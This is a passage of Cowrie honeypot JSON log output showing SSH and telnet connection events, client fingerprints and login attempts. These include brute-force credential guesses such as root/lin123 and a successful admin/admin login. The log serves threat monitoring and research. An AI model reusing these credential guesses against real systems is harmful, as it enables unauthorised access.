{"eventid":"cowrie.session.closed","duration":42.75478672981262,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:51.174985Z","src_ip":"64.227.101.30","session":"64cf66490986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54690,"dst_ip":"10.17.0.5","dst_port":23,"session":"039a8325fd4e","protocol":"telnet","message":"New connection: 64.227.101.30:54690 (10.17.0.5:23) [session: 039a8325fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:54.482227Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":35808,"dst_ip":"159.203.135.109","dst_port":23,"session":"5429ff6ca1af","protocol":"telnet","message":"New connection: 68.183.198.12:35808 (159.203.135.109:23) [session: 5429ff6ca1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:54.605496Z"}
{"eventid":"cowrie.session.closed","duration":40.89273166656494,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:54.619296Z","src_ip":"68.183.198.12","session":"0892cd732ea8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54770,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a98a2c98cf9","protocol":"telnet","message":"New connection: 64.227.101.30:54770 (10.17.0.5:23) [session: 6a98a2c98cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:54.724594Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47694,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c435632923f","protocol":"telnet","message":"New connection: 64.227.101.30:47694 (10.17.0.5:23) [session: 3c435632923f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:58.051997Z"}
{"eventid":"cowrie.session.closed","duration":36.30050086975098,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:38:59.878336Z","src_ip":"64.227.101.30","session":"a5b4617b6f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37042,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e1f9c669912","protocol":"telnet","message":"New connection: 68.183.198.12:37042 (159.203.135.109:23) [session: 5e1f9c669912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:02.488587Z"}
{"eventid":"cowrie.session.closed","duration":37.57606792449951,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:04.548615Z","src_ip":"64.227.101.30","session":"106e7bc6036a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.28004145622253,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:08.028221Z","src_ip":"64.227.101.30","session":"7bf93da2b013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59214,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba5d99c299a5","protocol":"telnet","message":"New connection: 64.227.101.30:59214 (10.17.0.5:23) [session: ba5d99c299a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:08.266982Z"}
{"eventid":"cowrie.session.closed","duration":49.333343744277954,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:08.345309Z","src_ip":"64.227.101.30","session":"6d8f4b642953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.64600586891174,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:13.129126Z","src_ip":"64.227.101.30","session":"5e3463e14ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.64577317237854,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:17.408664Z","src_ip":"64.227.101.30","session":"361096ce5583","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33998,"dst_ip":"10.17.0.5","dst_port":23,"session":"0117b40599c5","protocol":"telnet","message":"New connection: 64.227.101.30:33998 (10.17.0.5:23) [session: 0117b40599c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:18.690970Z"}
{"eventid":"cowrie.session.closed","duration":42.73343205451965,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:22.352810Z","src_ip":"64.227.101.30","session":"5f593be8c5f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54826521873474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:27.030365Z","src_ip":"64.227.101.30","session":"039a8325fd4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37574,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c135f1d3834","protocol":"telnet","message":"New connection: 64.227.101.30:37574 (10.17.0.5:23) [session: 5c135f1d3834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:31.343746Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38018,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef43363fa36","protocol":"telnet","message":"New connection: 64.227.101.30:38018 (10.17.0.5:23) [session: 6ef43363fa36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:33.385208Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":36626,"dst_ip":"10.17.0.5","dst_port":22,"session":"58f2ee84682e","protocol":"ssh","message":"New connection: 78.40.217.56:36626 (10.17.0.5:22) [session: 58f2ee84682e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:35.755506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:35.760890Z","src_ip":"78.40.217.56","session":"58f2ee84682e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:35.906975Z","src_ip":"78.40.217.56","session":"58f2ee84682e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1@3","message":"login attempt [root/root1@3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:36.521308Z","src_ip":"78.40.217.56","session":"58f2ee84682e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:37.686065Z","src_ip":"78.40.217.56","session":"58f2ee84682e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.27619791030884,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:38.000654Z","src_ip":"64.227.101.30","session":"6a98a2c98cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.59696412086487,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:39.648819Z","src_ip":"64.227.101.30","session":"3c435632923f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.35239887237549,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:39.957791Z","src_ip":"68.183.198.12","session":"5429ff6ca1af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41108,"dst_ip":"10.17.0.5","dst_port":23,"session":"9864f8df59f7","protocol":"telnet","message":"New connection: 64.227.101.30:41108 (10.17.0.5:23) [session: 9864f8df59f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:47.497102Z"}
{"eventid":"cowrie.session.closed","duration":39.3177752494812,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:47.584644Z","src_ip":"64.227.101.30","session":"ba5d99c299a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.23773407936096,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:39:58.928583Z","src_ip":"64.227.101.30","session":"0117b40599c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":37884,"dst_ip":"159.203.135.109","dst_port":22,"session":"03ab6d4675a4","protocol":"ssh","message":"New connection: 200.118.150.20:37884 (159.203.135.109:22) [session: 03ab6d4675a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:03.212654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:03.218666Z","src_ip":"200.118.150.20","session":"03ab6d4675a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:03.311449Z","src_ip":"200.118.150.20","session":"03ab6d4675a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"654321","message":"login attempt [test2/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:03.717250Z","src_ip":"200.118.150.20","session":"03ab6d4675a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:04.819205Z","src_ip":"200.118.150.20","session":"03ab6d4675a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.867319107055664,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:08.210954Z","src_ip":"64.227.101.30","session":"5c135f1d3834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43332,"dst_ip":"10.17.0.5","dst_port":23,"session":"af59eed4cfd8","protocol":"telnet","message":"New connection: 64.227.101.30:43332 (10.17.0.5:23) [session: af59eed4cfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:11.772075Z"}
{"eventid":"cowrie.session.closed","duration":40.9131817817688,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:14.298275Z","src_ip":"64.227.101.30","session":"6ef43363fa36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":72.48561596870422,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:14.974070Z","src_ip":"68.183.198.12","session":"5e1f9c669912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50666,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2d566ba4be","protocol":"telnet","message":"New connection: 64.227.101.30:50666 (10.17.0.5:23) [session: 0d2d566ba4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:21.504916Z"}
{"eventid":"cowrie.session.closed","duration":36.63752293586731,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:24.134496Z","src_ip":"64.227.101.30","session":"9864f8df59f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49758,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a605074995","protocol":"telnet","message":"New connection: 64.227.101.30:49758 (10.17.0.5:23) [session: 92a605074995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:25.900304Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":42938,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0c0689e4d12","protocol":"ssh","message":"New connection: 78.40.217.56:42938 (10.17.0.5:22) [session: f0c0689e4d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:26.715092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:26.719565Z","src_ip":"78.40.217.56","session":"f0c0689e4d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:26.870734Z","src_ip":"78.40.217.56","session":"f0c0689e4d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lin123","message":"login attempt [root/lin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:27.505253Z","src_ip":"78.40.217.56","session":"f0c0689e4d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52170,"dst_ip":"10.17.0.5","dst_port":23,"session":"4de97211db2b","protocol":"telnet","message":"New connection: 64.227.101.30:52170 (10.17.0.5:23) [session: 4de97211db2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:28.503664Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:28.659254Z","src_ip":"78.40.217.56","session":"f0c0689e4d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.3383138179779053,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:29.238470Z","src_ip":"64.227.101.30","session":"92a605074995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53682,"dst_ip":"10.17.0.5","dst_port":23,"session":"10a66661de46","protocol":"telnet","message":"New connection: 64.227.101.30:53682 (10.17.0.5:23) [session: 10a66661de46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:30.155423Z"}
{"eventid":"cowrie.session.closed","duration":18.724685430526733,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:30.496633Z","src_ip":"64.227.101.30","session":"af59eed4cfd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.10.79","src_port":49766,"dst_ip":"159.203.135.109","dst_port":22,"session":"808c30f9244a","protocol":"ssh","message":"New connection: 103.143.10.79:49766 (159.203.135.109:22) [session: 808c30f9244a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:37.646295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:37.652686Z","src_ip":"103.143.10.79","session":"808c30f9244a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:37.726127Z","src_ip":"103.143.10.79","session":"808c30f9244a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:37.887757Z","src_ip":"103.143.10.79","session":"808c30f9244a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:37.969404Z","src_ip":"103.143.10.79","session":"808c30f9244a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":49930,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2a95df38b65","protocol":"ssh","message":"New connection: 130.12.180.51:49930 (159.203.135.109:22) [session: a2a95df38b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:38.132684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:40:38.137397Z","src_ip":"130.12.180.51","session":"a2a95df38b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sh